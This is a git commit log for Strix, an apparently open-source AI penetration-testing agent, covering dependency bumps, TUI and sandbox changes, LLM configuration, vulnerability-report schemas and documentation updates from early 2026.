octovimmerandAhmed Allam 30eec7fc98 chore: remove codex models from supported models 2026-03-02 15:29:29 -08:00
0xallamandAhmed Allam a1d5be1050 chore(deps): bump pypdf from 6.7.1 to 6.7.2
Bumps [pypdf](https://github.com/py-pdf/pypdf) from 6.7.1 to 6.7.2.
- [Release notes](https://github.com/py-pdf/pypdf/releases)
- [Changelog](https://github.com/py-pdf/pypdf/blob/main/CHANGELOG.md)
- [Commits](https://github.com/py-pdf/pypdf/compare/6.7.1...6.7.2)

---
updated-dependencies:
- dependency-name: pypdf
  dependency-version: 6.7.2
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-26 14:58:52 -08:00
0xallam 91724b1a24 docs: Add Strix Platform and Enterprise sections to README 2026-02-26 14:58:28 -08:00
0xallam f22b058cff docs: Add human-in-the-loop section to proxy documentation 2026-02-23 19:54:54 -08:00
0xallam f5e3ceed7f chore: Bump version to 0.8.2 2026-02-23 18:41:06 -08:00
0xallamandAhmed Allam 35174dced2 feat: Expose Caido proxy port to host for human-in-the-loop interaction
Users can now access the Caido web UI from their browser to inspect traffic,
replay requests, and perform manual testing alongside the automated scan.

- Map Caido port (48080) to a random host port in DockerRuntime
- Add caido_port to SandboxInfo and track across container lifecycle
- Display Caido URL in TUI sidebar stats panel with selectable text
- Bind Caido to 0.0.0.0 in entrypoint (requires image rebuild)
- Bump sandbox image to 0.1.12
- Restore discord link in exit screen
2026-02-23 18:37:25 -08:00
mason5052andAhmed Allam 8c7a3102f9 docs: fix Discord badge expired invite code
The badge image URL used invite code  which is expired,
causing the badge to render 'Invalid invite' instead of the server info.
Updated to use the vanity URL  which resolves correctly.

Fixes #313
2026-02-22 20:52:03 -08:00
0xallamandAhmed Allam 1b7552d3c3 chore(deps): bump google-cloud-aiplatform from 1.129.0 to 1.133.0
Bumps [google-cloud-aiplatform](https://github.com/googleapis/python-aiplatform) from 1.129.0 to 1.133.0.
- [Release notes](https://github.com/googleapis/python-aiplatform/releases)
- [Changelog](https://github.com/googleapis/python-aiplatform/blob/main/CHANGELOG.md)
- [Commits](https://github.com/googleapis/python-aiplatform/compare/v1.129.0...v1.133.0)

---
updated-dependencies:
- dependency-name: google-cloud-aiplatform
  dependency-version: 1.133.0
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-22 20:51:29 -08:00
0xallam 669d3ebd47 fix: Lower sidebar min width from 140 to 120 for smaller terminals 2026-02-22 09:28:52 -08:00
0xallam 87d41d6823 fix: Update end screen to display models.strix.ai instead of strix.ai and discord 2026-02-22 09:03:56 -08:00
Ahmed AllamandGitHub b19a08dbd4 Update installation instructions
Removed pipx installation instructions for strix-agent.
2026-02-22 00:10:06 +04:00
0xallam 3d2ed12e23 chore: Bump version to 0.8.1 2026-02-20 10:36:48 -08:00
0xallam d7ad775092 fix: Change default model from claude-sonnet-4-6 to gpt-5 across docs and code 2026-02-20 10:35:58 -08:00
0xallamandAhmed Allam dcc40d426e fix: Handle stray quotes in tag names and enforce parameter tags in prompt 2026-02-20 08:29:01 -08:00
0xallamandAhmed Allam 3dc42ee78d fix: Address code review feedback on tool format normalization 2026-02-20 08:29:01 -08:00
0xallamandAhmed Allam d2b366a62b fix: Prevent assistant-message prefill rejected by Claude 4.6 2026-02-20 08:29:01 -08:00
0xallamandAhmed Allam 88aca80db8 fix: Handle single-quoted and whitespace-padded tool call tags 2026-02-20 08:29:01 -08:00
0xallamandAhmed Allam 0699fd9fd7 fix: Strip quotes from parameter/function names in tool calls 2026-02-20 08:29:01 -08:00
0xallamandAhmed Allam 0b69806328 feat: Normalize alternative tool call formats (invoke/function_calls) 2026-02-20 08:29:01 -08:00
Ahmed AllamandGitHub a773268875 Resolve LLM API Base and Models (#317) 2026-02-20 07:14:10 -08:00
0xallam bbc7cf41a8 fix: Strip custom_llm_provider before cost lookup for proxied models 2026-02-20 06:52:27 -08:00
0xallam d2a48e7a6f refactor: Centralize strix model resolution with separate API and capability names
- Replace fragile prefix matching with explicit STRIX_MODEL_MAP
- Add resolve_strix_model() returning (api_model, canonical_model)
- api_model (openai/ prefix) for API calls to OpenAI-compatible Strix API
- canonical_model (actual provider name) for litellm capability lookups
- Centralize resolution in LLMConfig instead of scattered call sites
2026-02-20 04:40:04 -08:00
octovimmer 6b0a5e2b6a resolve: merge conflict resolution, llm api base resolution 2026-02-19 17:37:00 -08:00
octovimmer 1e24133475 fix: linting errors 2026-02-19 17:25:10 -08:00
0xallam f86d2dc0a0 chore: Bump version to 0.8.0 2026-02-19 14:12:59 -08:00
0xallamandAhmed Allam d1ffc251b3 chore(deps): bump pypdf from 6.6.2 to 6.7.1
Bumps [pypdf](https://github.com/py-pdf/pypdf) from 6.6.2 to 6.7.1.
- [Release notes](https://github.com/py-pdf/pypdf/releases)
- [Changelog](https://github.com/py-pdf/pypdf/blob/main/CHANGELOG.md)
- [Commits](https://github.com/py-pdf/pypdf/compare/6.6.2...6.7.1)

---
updated-dependencies:
- dependency-name: pypdf
  dependency-version: 6.7.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-19 14:09:55 -08:00
0xallam 955556d784 docs: Revert discord badge cache bust 2026-02-19 13:53:27 -08:00
0xallam 7e32ec6aab docs: Cache bust discord badge 2026-02-19 13:52:13 -08:00
0xallam 1dda4a5ef5 docs: Add Strix Router page to navigation sidebar 2026-02-19 13:46:44 -08:00
1c4922a017 Strix LLM Documentation and Config Changes (#315)
* feat: add to readme new keys

* feat: shoutout strix models, docs

* fix: mypy error

* fix: base api

* docs: update quickstart and models

* fixes: changes to docs

uniform api_key variable naming

* test: git commit hook

* nevermind it was nothing

* docs: Update default model to claude-sonnet-4.6 and improve Strix Router docs

- Replace gpt-5 and opus-4.6 defaults with claude-sonnet-4.6 across all docs and code
- Rewrite Strix Router (models.mdx) page with clearer structure and messaging
- Add Strix Router as recommended option in overview.mdx and quickstart prerequisites
- Update stale Claude 4.5 references to 4.6 in anthropic.mdx, openrouter.mdx, bug_report.md
- Fix install.sh links to point to models.strix.ai and correct docs URLs
- Update error message examples in main.py to use claude-sonnet-4-6

---------

Co-authored-by: 0xallam <ahmed39652003@gmail.com>
2026-02-20 01:43:18 +04:00
0xallam d7a08d0399 fix: Add rule against duplicating changes across code_locations 2026-02-17 14:59:13 -08:00
0xallamandAhmed Allam aa7ff104c2 fix: Improve code_locations schema for accurate block-level fixes and multi-part suggestions
Rewrote the code_locations parameter description to make fix_before/fix_after
semantics explicit: they are literal block-level replacements mapped directly
to GitHub/GitLab PR suggestion blocks. Added guidance for multi-part fixes
(separate locations for non-contiguous changes like imports + code), common
mistakes to avoid, and updated all examples to demonstrate multi-line ranges.
2026-02-17 14:17:33 -08:00
TaeBbongandAhmed Allam 85eebc52b0 fix: Add explicit UTF-8 encoding to read_text() calls
- Specify encoding="utf-8" in registry.py _load_xml_schema()
- Specify encoding="utf-8" in skills/__init__.py load_skills()
- Prevents cp949/shift_jis/cp1252 decoding errors on non-English Windows
2026-02-15 17:41:10 -08:00
0xallamandAhmed Allam b0d5b68c5c fix: Remove indentation prefix from diff code block markers for syntax highlighting 2026-02-15 17:25:59 -08:00
0xallamandAhmed Allam c226d7405c feat: Redesign vulnerability reporting with nested XML code locations and CVSS
Replace 12 flat parameters (code_file, code_before, code_after, code_diff,
and 8 CVSS fields) with structured nested XML fields: code_locations with
co-located fix_before/fix_after per location, cvss_breakdown, and cwe.

This enables multi-file vulnerability locations, per-location fixes with
precise line numbers, data flow representation (source/sink), CWE
classification, and compatibility with GitHub/GitLab PR review APIs.
2026-02-15 17:25:59 -08:00
0xallamandAhmed Allam f4f720ebc7 chore(deps): bump protobuf from 6.33.4 to 6.33.5
Bumps [protobuf](https://github.com/protocolbuffers/protobuf) from 6.33.4 to 6.33.5.
- [Release notes](https://github.com/protocolbuffers/protobuf/releases)
- [Commits](https://github.com/protocolbuffers/protobuf/commits)

---
updated-dependencies:
- dependency-name: protobuf
  dependency-version: 6.33.5
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-15 16:44:26 -08:00
0xallamandAhmed Allam 1c92840a60 chore(deps): bump cryptography from 44.0.1 to 46.0.5
Bumps [cryptography](https://github.com/pyca/cryptography) from 44.0.1 to 46.0.5.
- [Changelog](https://github.com/pyca/cryptography/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/pyca/cryptography/compare/44.0.1...46.0.5)

---
updated-dependencies:
- dependency-name: cryptography
  dependency-version: 46.0.5
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-15 16:44:06 -08:00
0xallamandAhmed Allam 89950992c5 chore(deps): bump pillow from 11.3.0 to 12.1.1
Bumps [pillow](https://github.com/python-pillow/Pillow) from 11.3.0 to 12.1.1.
- [Release notes](https://github.com/python-pillow/Pillow/releases)
- [Changelog](https://github.com/python-pillow/Pillow/blob/main/CHANGES.rst)
- [Commits](https://github.com/python-pillow/Pillow/compare/11.3.0...12.1.1)

---
updated-dependencies:
- dependency-name: pillow
  dependency-version: 12.1.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-15 16:43:54 -08:00
0xallamandAhmed Allam 8748afedaf fix: Skip clipboard copy for whitespace-only selections 2026-02-07 11:04:31 -08:00
0xallamandAhmed Allam 60ca7aa9df feat: Add mouse text selection auto-copy to clipboard in TUI
Enable native text selection across tool components and agent messages
with automatic clipboard copy, toast notification, and decorative icon
stripping. Replace Padding wrappers with Text to support selection
across multiple renderables.
2026-02-07 11:04:31 -08:00
0xallamandAhmed Allam ab924a258a fix: Polish finish_scan report schema descriptions and examples
Improve the finish_scan tool schema to produce more professional
pentest reports: expand parameter descriptions with structural
guidance, rewrite recommendations example with proper urgency tiers
instead of Priority 0/1/2, fix duplicated section titles, and clean
up informal language.
2026-02-04 13:30:24 -08:00
0xallamandAhmed Allam 21e543d856 fix: Replace hardcoded git host detection with HTTP protocol probe
Remove hardcoded github.com/gitlab.com/bitbucket.org host lists from
infer_target_type. Instead, detect git repositories on any host by
querying the standard /info/refs?service=git-upload-pack endpoint.

Works for any self-hosted git instance.
2026-01-31 23:24:59 -08:00
0xallamandAhmed Allam 496ad5dd6f chore(deps): bump pypdf from 6.6.0 to 6.6.2
Bumps [pypdf](https://github.com/py-pdf/pypdf) from 6.6.0 to 6.6.2.
- [Release notes](https://github.com/py-pdf/pypdf/releases)
- [Changelog](https://github.com/py-pdf/pypdf/blob/main/CHANGELOG.md)
- [Commits](https://github.com/py-pdf/pypdf/compare/6.6.0...6.6.2)

---
updated-dependencies:
- dependency-name: pypdf
  dependency-version: 6.6.2
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-31 23:17:33 -08:00
Ahmed AllamandGitHub ee25d1319a Update README 2026-02-01 05:13:59 +04:00
Ahmed AllamandGitHub 0fd905ba4f Update README.md 2026-02-01 05:11:44 +04:00
0xallamandAhmed Allam f23c644a16 fix(llm): Pass API key and base URL to memory compressor litellm calls
The memory compressor was calling litellm.completion() without passing
the api_key and api_base parameters, causing authentication errors when
LLM_API_KEY is set but provider-specific env vars (OPENAI_API_KEY, etc.)
are not. This matches the pattern used in dedupe.py.
2026-01-28 01:29:33 -08:00
0xallam f1ebce4637 chore: update cloud URLs 2026-01-25 23:06:47 -08:00
0xallamandAhmed Allam 8f77de21f5 chore: update poetry lock 2026-01-23 12:16:06 -08:00
LegendEventandAhmed Allam 472438973c chore: upgrade litellm to 1.81.1 for zai provider support
Updates LiteLLM from ~1.80.7 to ~1.81.1 which includes
full support for z.ai (Zhipu AI) provider using the 'zai/model-name'
format. This enables Strix to work with z.ai subscription
credentials by setting STRIX_LLM="zai/glm-4.7" with appropriate
LLM_API_KEY and LLM_API_BASE environment variables.

Changes:
- Updated litellm version constraint in pyproject.toml
- No breaking changes to Strix API or configuration

Closes #ISSUE_ID (to be linked if applicable)

Signed-off-by: legendevent <legendevent@users.noreply.github.com>
2026-01-23 12:16:06 -08:00
0xallam ea1929e4e0 chore: bump version to 0.7.0 2026-01-23 11:06:29 -08:00
Ahmed AllamandGitHub a0224dabe8 Update README with full details section 2026-01-23 23:05:26 +04:00
0xallamandAhmed Allam de54f0065a docs: add benchmarks directory with XBEN results 2026-01-23 11:04:22 -08:00
Ahmed AllamandGitHub 18c4761082 Update README 2026-01-23 06:56:10 +04:00
Ahmed AllamandGitHub 6950bed1a4 Update README 2026-01-23 06:55:35 +04:00
0xallam a4491f8d40 docs: update screenshot and add to intro page 2026-01-22 13:09:45 -08:00
0xallam 7a2d38ef26 chore: unify token stats color scheme 2026-01-22 11:37:21 -08:00
0xallam 26b4d35bc1 chore: improve stats panel layout 2026-01-22 11:17:32 -08:00
0xallamandAhmed Allam baaa203d4e docs: update Discord links 2026-01-21 20:27:28 -08:00
0xallamandAhmed Allam fcad507f5f docs: improve introduction page with use cases, tools, and architecture 2026-01-21 20:27:28 -08:00
0xallam 53e077ec68 docs: remove custom Docker image example from config 2026-01-21 15:35:26 -08:00
0xallamandAhmed Allam 498557ccbc docs: update configuration documentation
- Add missing config options: STRIX_LLM_MAX_RETRIES, STRIX_MEMORY_COMPRESSOR_TIMEOUT, STRIX_TELEMETRY
- Remove non-existent options: LLM_RATE_LIMIT_DELAY, LLM_RATE_LIMIT_CONCURRENT
- Fix defaults: STRIX_SANDBOX_EXECUTION_TIMEOUT (500 -> 120), STRIX_IMAGE (0.1.10 -> 0.1.11)
- Add config file documentation section
- Add --config CLI option to cli.mdx
2026-01-21 15:13:15 -08:00
0xallamandAhmed Allam ad13209dda docs: update skills documentation for markdown format
Reflect PR #275 changes - skills now use Markdown files with YAML
frontmatter instead of Jinja templates with XML-style tags.
2026-01-21 14:54:09 -08:00
0xallamandAhmed Allam bf03da7f84 docs: add documentation to main repository 2026-01-20 21:13:32 -08:00
0xallamandAhmed Allam 84a3761582 fix(llm): collect usage stats from final stream chunk
The early break on </function> prevented receiving the final chunk
that contains token usage data (input_tokens, output_tokens).
2026-01-20 20:36:00 -08:00
b453a96cae refactor: simplify --config implementation to reuse existing config system
- Reuse apply_saved() instead of custom override logic
- Add force parameter to override existing env vars
- Move validation to utils.py
- Prevent saving when using custom config (one-time override)
- Fix: don't modify ~/.strix/cli-config.json when --config is used

Co-Authored-By: FeedClogger <feedclogger@users.noreply.github.com>
2026-01-20 17:02:29 -08:00
FeedCloggerandAhmed Allam 2f58b02218 Added .env variable override through --config param 2026-01-20 17:02:29 -08:00
0xallam 1cee6270bf chore: update Discord invite link 2026-01-20 12:58:14 -08:00
0xallamandAhmed Allam 16b868f6f1 docs: update skills README for markdown format 2026-01-20 12:50:59 -08:00
0xallamandAhmed Allam 8767418326 refactor: standardize vulnerability skills format 2026-01-20 12:50:59 -08:00
0xallamandAhmed Allam 3e73d8a81c fix: remove icon from ListFilesRenderer 2026-01-20 12:50:59 -08:00
0xallamandAhmed Allam b11ef9efb6 fix: exclude scan_modes and coordination from available skills 2026-01-20 12:50:59 -08:00
0xallamandAhmed Allam 62a2085a23 refactor: migrate skills from Jinja to Markdown 2026-01-20 12:50:59 -08:00
0xallam eeaec4705c fix: remove unintended margin from stats panel 2026-01-19 21:48:56 -08:00
0xallam 7cfb2e9cf9 refactor: improve stats panel styling and add version display 2026-01-19 21:46:13 -08:00
0xallam c2254a2fed refactor: update agent tree status indicators 2026-01-19 21:23:29 -08:00
0xallamandAhmed Allam da3c38e8bc feat: remove docker container on shutdown
Add automatic cleanup of Docker containers when the application exits.
Uses a singleton runtime pattern and spawns a detached subprocess for
cleanup to ensure fast exit without blocking the UI.
2026-01-19 18:26:41 -08:00
0xallamandAhmed Allam c7b016d726 refactor: redesign finished dialogs and UI elements 2026-01-19 16:52:02 -08:00
0xallamandAhmed Allam e876a074b2 refactor: revamp proxy tool renderers for better UX
- Show actual request/response data with visual flow (>> / <<)
- Display all relevant params: filters, sort, scope, modifications
- Add type-safe handling for streaming edge cases
- Use color-coded status codes (2xx green, 3xx yellow, 4xx/5xx red)
- Show search context (before/after) not just matched text
- Show full request details in send/repeat request renderers
- Show modifications on separate lines with full content
- Increase truncation limits for better visibility (200 char lines)
- Use present tense lowercase titles (listing, viewing, searching)
2026-01-19 15:33:53 -08:00
0xallamandAhmed Allam c4522306b8 fix: remove 'unknown' fallback display in browser tool renderer 2026-01-19 13:46:20 -08:00
0xallamandAhmed Allam 044c770569 fix: strip ANSI codes from Python tool output and optimize highlighting
- Add comprehensive ECMA-48 ANSI pattern to strip escape sequences from output
- Fix _truncate_line to strip ANSI before length calculation
- Cache PythonLexer instance (was creating new one per call)
- Memoize token color lookups to avoid repeated parent chain traversal
2026-01-19 12:21:08 -08:00
0xallamandAhmed Allam e17c230322 perf: optimize TUI streaming rendering performance
- Pre-compile regex patterns in streaming_parser.py
- Move hot-path imports to module level in tui.py
- Add streaming content caching to avoid re-rendering unchanged content
- Track streaming length to skip unnecessary re-renders
- Reduce UI update interval from 250ms to 350ms
2026-01-19 11:46:38 -08:00
0xallamandAhmed Allam 955250dcc9 fix: always show shell restart warning after install 2026-01-18 19:22:44 -08:00
0xallamandAhmed Allam bb67fa2b92 fix: improve install script PATH handling for more shells
- Add ZDOTDIR support for zsh users who relocate their config
- Add XDG_CONFIG_HOME paths for zsh and bash
- Add ash and sh shell support (Alpine/BusyBox)
- Warn user instead of silently creating .bashrc when no config found
- Add user feedback on what file was modified
- Handle non-writable config files gracefully
2026-01-18 19:11:44 -08:00
0xallam 7ecc9d53a4 chore: bump version to 0.6.2 and sandbox to 0.1.11 2026-01-18 18:29:44 -08:00
0xallamandAhmed Allam f42f6a82fb refactor: share single browser instance across all agents
- Use singleton browser with isolated BrowserContext per agent instead of
  separate Chromium processes per agent
- Add cleanup logic for stale browser/playwright on reconnect
- Add resource management instructions to browser schema (close tabs/browser when done)
- Suppress Kali login message in Dockerfile
2026-01-18 17:51:23 -08:00
0xallamandAhmed Allam b9fb607380 fix: create fresh gql client per request to avoid transport state issues 2026-01-17 22:19:21 -08:00
0xallamandAhmed Allam dd72e81406 fix: add telemetry module to Dockerfile for posthog error tracking 2026-01-17 22:19:21 -08:00
0xallamandAhmed Allam 75038ea2cb refactor: simplify tool server to asyncio tasks with per-agent isolation
- Replace multiprocessing/threading with single asyncio task per agent
- Add task cancellation: new request cancels previous for same agent
- Add per-agent state isolation via ContextVar for Terminal, Browser, Python managers
- Add posthog telemetry for tool execution errors (timeout, http, sandbox)
- Fix proxy manager singleton pattern
- Increase client timeout buffer over server timeout
- Add context.py to Dockerfile
2026-01-17 22:19:21 -08:00
0xallamandAhmed Allam e1d54f11f8 fix: run tool server as module to ensure correct sys.path for workers 2026-01-17 22:19:21 -08:00
0xallamandAhmed Allam 2534396d82 style: remove redundant sudo -E flag 2026-01-17 22:19:21 -08:00
0xallamandAhmed Allam 7519ff850c fix: add initial delay and increase retries for tool server health check 2026-01-17 22:19:21 -08:00
0xallamandAhmed Allam e5c9480ed2 fix: replace pgrep with health check for tool server validation 2026-01-17 22:19:21 -08:00
0xallamandAhmed Allam ce53702473 refactor: simplify container initialization and fix startup reliability
- Move tool server startup from Python to entrypoint script
- Hardcode Caido port (48080) in entrypoint, remove from Python
- Use /app/venv/bin/python directly instead of poetry run
- Fix env var passing through sudo with sudo -E and explicit vars
- Add Caido process monitoring and logging during startup
- Add retry logic with exponential backoff for token fetch
- Add tool server process validation before declaring ready
- Simplify docker_runtime.py (489 -> 310 lines)
- DRY up container state recovery into _recover_container_state()
- Add container creation retry logic (3 attempts)
- Fix GraphQL health check URL (/graphql/ with trailing slash)
2026-01-17 22:19:21 -08:00
0xallamandAhmed Allam bc6bb1699f chore(deps): bump pyasn1 from 0.6.1 to 0.6.2
Bumps [pyasn1](https://github.com/pyasn1/pyasn1) from 0.6.1 to 0.6.2.
- [Release notes](https://github.com/pyasn1/pyasn1/releases)
- [Changelog](https://github.com/pyasn1/pyasn1/blob/main/CHANGES.rst)
- [Commits](https://github.com/pyasn1/pyasn1/compare/v0.6.1...v0.6.2)

---
updated-dependencies:
- dependency-name: pyasn1
  dependency-version: 0.6.2
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-16 15:26:13 -08:00
0xallamandAhmed Allam 5132cc36ec fix(tool_server): include request_id in worker errors and use get_running_loop
- Add request_id to worker error responses to prevent client hangs
- Replace deprecated get_event_loop() with get_running_loop() in execute_tool
2026-01-16 01:11:02 -08:00
0xallamandAhmed Allam d3be648fa2 fix(tool_server): use get_running_loop() instead of deprecated get_event_loop() 2026-01-16 01:11:02 -08:00
0xallamandAhmed Allam 65c2103f4f fix(python): prevent stdout/stderr race on timeout
Add cancelled flag to prevent timed-out thread's finally block from
overwriting stdout/stderr when a subsequent execution has already
started capturing output.
2026-01-16 01:11:02 -08:00
0xallamandAhmed Allam c59f79e440 fix(runtime): parallel tool execution and remove signal handlers
- Add ThreadPoolExecutor in agent_worker for parallel request execution
- Add request_id correlation to prevent response mismatch between concurrent requests
- Add background listener thread per agent to dispatch responses to correct futures
- Add --timeout argument for hard request timeout (default: 120s from config)
- Remove signal handlers from terminal_manager, python_manager, tab_manager (use atexit only)
- Replace SIGALRM timeout in python_instance with threading-based timeout

This fixes requests getting queued behind slow operations and timeouts.
2026-01-16 01:11:02 -08:00
0xallam 796d538582 fix(llm): remove hardcoded temperature from dedupe check
Allow the model's default temperature setting to be used instead of
forcing temperature=0 for duplicate detection.
2026-01-15 18:56:48 -08:00
0xallamandAhmed Allam ce76cce9ee fix(config): keep non-LLM saved env values
When LLM env differs, drop only LLM-related saved entries instead of
clearing all saved env vars, preserving other config like API keys.
2026-01-15 18:37:38 -08:00
0xallamandAhmed Allam 8c86f9cc43 fix(config): canonicalize LLM env and respect cleared vars
Drop saved LLM config if any current LLM env var differs, and treat
explicit empty env vars as cleared so saved values are removed and
not re-applied.
2026-01-15 18:37:38 -08:00
0xallamandAhmed Allam 6ee13a42ad fix(tui): suppress stderr output in python renderer 2026-01-15 17:44:49 -08:00
0xallam 9ad20cadcf fix(executor): include error type in httpx RequestError messages
The str() of httpx.RequestError was often empty, making error messages
unhelpful. Now includes the exception type (e.g., ConnectError) for
better debugging.
2026-01-15 17:40:21 -08:00
0xallam 3cfb7bb96c docs(tools): add comprehensive multiline examples and remove XML terminology
- Add professional, realistic multiline examples to all tool schemas
- finish_scan: Complete pentest report with SSRF/access control findings
- create_vulnerability_report: Full SSRF writeup with cloud metadata PoC
- file_edit, notes, thinking: Realistic security testing examples
- Remove XML terminology from system prompt and tool descriptions
- All examples use real newlines (not literal \n) to demonstrate correct usage
2026-01-15 17:25:28 -08:00
Ahmed AllamandGitHub 03bf88bcd3 Update README 2026-01-16 02:34:30 +04:00
0xallam 625a0c87cc chore(release): bump version to 0.6.1 2026-01-14 21:30:14 -08:00
0xallamandAhmed Allam 66e964e934 chore(prompt): discourage literal \n in tool params 2026-01-14 21:29:06 -08:00
0xallamandAhmed Allam 4841fc6394 chore(prompt): enforce single tool call per message and remove stop word usage 2026-01-14 19:51:08 -08:00
0xallamandAhmed Allam 264e412783 fix: restore ollama_api_base config fallback for Ollama support 2026-01-14 18:54:45 -08:00
0xallamandAhmed Allam 8e67c10c8b fix(agent): fix agent loop hanging and simplify LLM module
- Fix agent loop getting stuck by adding hard stop mechanism
- Add _force_stop flag for immediate task cancellation across threads
- Use thread-safe loop.call_soon_threadsafe for cross-thread cancellation
- Remove request_queue.py (eliminated threading/queue complexity causing hangs)
- Simplify llm.py: direct acompletion calls, cleaner streaming
- Reduce retry wait times to prevent long hangs during retries
- Make timeouts configurable (llm_max_retries, memory_compressor_timeout, sandbox_execution_timeout)
- Keep essential token tracking (input/output/cached tokens, cost, requests)
- Maintain Anthropic prompt caching for system messages
2026-01-14 18:54:45 -08:00
0xallamandAhmed Allam 40a6347aee fix(agent): use correct agent name in identity instead of class name 2026-01-14 11:24:24 -08:00
0xallamandAhmed Allam c7226b697c chore: add defusedxml dependency 2026-01-14 10:57:32 -08:00
0xallamandAhmed Allam 35339ff419 fix(agent): fix tool schemas not retrieved on pyinstaller binary and validate tool call args 2026-01-14 10:57:32 -08:00
0xallamandAhmed Allam a7ca0a335a chore(deps-dev): bump virtualenv from 20.34.0 to 20.36.1
Bumps [virtualenv](https://github.com/pypa/virtualenv) from 20.34.0 to 20.36.1.
- [Release notes](https://github.com/pypa/virtualenv/releases)
- [Changelog](https://github.com/pypa/virtualenv/blob/main/docs/changelog.rst)
- [Commits](https://github.com/pypa/virtualenv/compare/20.34.0...20.36.1)

---
updated-dependencies:
- dependency-name: virtualenv
  dependency-version: 20.36.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-13 17:15:58 -08:00
0xallamandAhmed Allam 11c5b95a32 chore(deps): bump filelock from 3.20.1 to 3.20.3
Bumps [filelock](https://github.com/tox-dev/py-filelock) from 3.20.1 to 3.20.3.
- [Release notes](https://github.com/tox-dev/py-filelock/releases)
- [Changelog](https://github.com/tox-dev/filelock/blob/main/docs/changelog.rst)
- [Commits](https://github.com/tox-dev/py-filelock/compare/3.20.1...3.20.3)

---
updated-dependencies:
- dependency-name: filelock
  dependency-version: 3.20.3
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-13 17:15:43 -08:00
0xallamandAhmed Allam 759a5b8f1c chore(deps): bump azure-core from 1.35.0 to 1.38.0
Bumps [azure-core](https://github.com/Azure/azure-sdk-for-python) from 1.35.0 to 1.38.0.
- [Release notes](https://github.com/Azure/azure-sdk-for-python/releases)
- [Commits](https://github.com/Azure/azure-sdk-for-python/compare/azure-core_1.35.0...azure-core_1.38.0)

---
updated-dependencies:
- dependency-name: azure-core
  dependency-version: 1.38.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-13 17:15:22 -08:00
Ahmed AllamandGitHub 40c32eb12c Update README 2026-01-14 05:00:16 +04:00
0xallam 6d769f4d97 chore: Bump strix version to 0.6.0 2026-01-12 09:19:19 -08:00
0xallam f3b48e97fb feat: modernize TUI status bar with sweep animation
- Replace braille spinner with ping-pong sweep animation using colored squares
- Add smooth gradient fade with 8 color steps from dim to bright green
- Modernize keymap styling: keys in white, actions in dim, separated by ·
- Move "esc stop" to left side next to animation
- Change ctrl-c to ctrl-q for quit
- Simplify "Initializing Agent" to just "Initializing"
- Remove italic styling from status text
- Waiting state shows only "Send message to resume" hint
- Remove unused action verbs and related dead code
2026-01-11 23:54:24 -08:00
0xallam b95864ab9e fix: correct GitHub repository URL in README 2026-01-10 15:53:10 -08:00
0xallamandAhmed Allam 88489aeafb docs: document config persistence in README 2026-01-10 15:49:03 -08:00
0xallamandAhmed Allam 427e7cf960 fix: allow clearing saved config by setting empty env var 2026-01-10 15:49:03 -08:00
0xallamandAhmed Allam 75b9e13d1a fix: apply saved config at module level before strix imports 2026-01-10 15:49:03 -08:00
0xallamandAhmed Allam 67c89077c3 fix: handle chmod failure on Windows gracefully 2026-01-10 15:49:03 -08:00
0xallamandAhmed Allam 8ec139f207 refactor: add explicit STRIX_IMAGE validation 2026-01-10 15:49:03 -08:00
0xallamandAhmed Allam 873c0b08ba refactor: remove unused LLMRequestQueue constructor params 2026-01-10 15:49:03 -08:00
0xallamandAhmed Allam 2288c20eae refactor: replace type ignores with inline fallbacks 2026-01-10 15:49:03 -08:00
0xallamandAhmed Allam 87e3486116 refactor: use Config.get() in validate_environment() 2026-01-10 15:49:03 -08:00
0xallamandAhmed Allam 3f4691aa19 fix: set restrictive permissions on config file 2026-01-10 15:49:03 -08:00
0xallamandAhmed Allam 9ac8ebc001 refactor: remove STRIX_IMAGE constant, use Config.get() instead 2026-01-10 15:49:03 -08:00
0xallamandAhmed Allam 6ef491ea50 fix: remove default for strix_llm, keep it required 2026-01-10 15:49:03 -08:00
0xallamandAhmed Allam e586cd7f61 feat: add centralized Config class with auto-save to ~/.strix/cli-config.json
- Add Config class with all env var defaults in one place
- Auto-load saved config on startup (env vars take precedence)
- Auto-save config after successful LLM warm-up
- Replace scattered os.getenv() calls with Config.get()
2026-01-10 15:49:03 -08:00
0xallam 21e8e37a3e fix: add missing 'low' value to reasoning effort options 2026-01-09 20:17:46 -08:00
Ahmed Allamandgreptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com> 8b65094a24 Update args in strix/interface/main.py
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-01-09 20:00:01 -08:00
66518c8a0e feat: add STRIX_REASONING_EFFORT env var to control thinking effort
- Add configurable reasoning effort via environment variable
- Default to "high", but use "medium" for quick scan mode
- Document in README and interface error panel

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-09 20:00:01 -08:00
0xallam 88a02e539a docs: reformat recommended models as bulleted list 2026-01-09 16:49:16 -08:00
0xallam 00f9c62d8e docs: add Gemini 3 Pro Preview to recommended models 2026-01-09 16:47:33 -08:00
0xallamandAhmed Allam 2608166895 fix: restrict result type check to dict or str 2026-01-09 16:44:05 -08:00
0xallamandAhmed Allam 66de693618 fix: handle string results in tool renderers
Previously, tool renderers assumed result was always a dict and would
crash with AttributeError when result was a string (e.g., error messages).
Now all renderers properly check for string results and display them.
2026-01-09 16:44:05 -08:00
Daniel SangorrinandAhmed Allam 82cff89bb9 fix: add thinking blocks 2026-01-09 15:40:21 -08:00
Ahmed AllamandGitHub c6e984ed6d Remove title from README 2026-01-10 02:35:20 +04:00
0xallamandAhmed Allam dc26a440b5 Simplify stats panel display format 2026-01-09 14:25:00 -08:00
0xallamandAhmed Allam 7aa9a771b1 Modernize vulnerability detail dialog styling 2026-01-09 14:25:00 -08:00
